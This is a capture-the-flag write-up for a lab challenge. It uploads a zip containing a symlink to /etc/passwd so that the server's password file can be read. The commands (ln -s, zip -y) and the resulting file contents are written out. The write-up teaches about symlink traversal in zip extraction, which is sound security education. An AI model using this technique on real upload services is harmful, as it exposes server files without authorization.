

Symlink writeup

Main objective: Read the info in `/etc/passwd`

ZIP SYMLINK UPLOAD

Select zip file to upload and extract:

No file chosen

Unzipper command: `unzip /tmp/name -d /var/www/html/upload/29f8942e6f0d230c2920b1cd4d95be9b`

Successfully uploaded and unzip files into `/upload/29f8942e6f0d230c2920b1cd4d95be9b`

Unzipper debug info:

```
Archive:  /tmp/name
inflatng: /var/www/html/upload/29f8942e6f0d230c2920b1cd4d95be9b/favicon.ico
```

Participant's mindset

This web allow users to upload a zip file and the application unzip the file at `/upload/<some where>`

in the server.

Making assumption:

What if we created a symlink pointing to `/etc/passwd`, zipped it, and then uploaded it to the server? Would this mean that upon unzipping, the symlink would be recreated and point to the server's `/etc/passwd` file?

Assumption testing:

Firstly, we use this command to create a symlink to etc/passwd.

```
$ ln -s /etc/passwd link_passwd
```

```
cyberjustu@MSI:~$ ln -s /etc/passwd link_passwd
cyberjustu@MSI:~$ ls
lab01  link_passwd  something
cyberjustu@MSI:~$
```

Then we zip link_passwd to hack.zip or any name you want it to be and upload it to the server.

```
zip -y hack.zip link_passwd
```

```
Processing triggers for man-db (2.10.1-1) ...
cyberjustu@MSI:~$ zip -y hack.zip link_passwd
  adding: link_passwd (stored 0%)
cyberjustu@MSI:~$
```

ZIP SYMLINK UPLOAD

Select zip file to upload and extract:

No file chosen

Unzipper command: `unzip /tmp/name -d /var/www/html/upload/a3a3a18172f8df75cc3aaec4af04ee47`

Successfully uploaded and unzip files into `/upload/a3a3a18172f8df75cc3aaec4af04ee47`

Unzipper debug info:

```
Archive:  /tmp/name
linking:  /var/www/html/upload/a3a3a18172f8df75cc3aaec4af04ee47/link_passwd -> /etc/passwd
finishing deferred symbolic links:
/var/www/html/upload/a3a3a18172f8df75cc3aaec4af04ee47/link_passwd -> /etc/passwd
```

And now we can download the `etc/passwd` file from the server by checking the unzipped files.




The screenshot shows a web browser window with the address bar displaying `localhost:9091/upload/a3a3a18172f8df75cc3aaec4af04ee47/`. The main content area shows the title **Index of /upload/a3a3a18172f8df75cc3aaec4af04ee47**. Below the title is a table with columns Name, Last modified, Size, and Description. The table contains two entries: a [Parent Directory](#) link with a directory icon and a dash in the size column, and a [link_passwd](#) file with a file icon, a timestamp of `2023-10-31 10:17`, and a size of `948`. At the bottom of the page, it says *Apache/2.4.52 (Debian) Server at localhost Port 9091*.

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 link_passwd	2023-10-31 10:17	948	

Apache/2.4.52 (Debian) Server at localhost Port 9091

Open the `link_passwd` file we have the flag.



```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534:./nonexistent:/usr/sbin/nologin
FLAG{f736685446ee00b70ba55824f3618a73}
```

CTF Challenge Creator's Mindset:

Overall, setting up this challenge was straightforward for me, but its concept is complex due to the potential confusion surrounding symlinks. This challenge simulates a real-world scenario, reminiscent of an incident with Facebook, where a hacker uploaded a malicious symlink to read local files from Facebook's server (here is the link: <https://josipfranjkojovic.blogspot.com/2014/12/reading-local-files-from-facebooks.html>).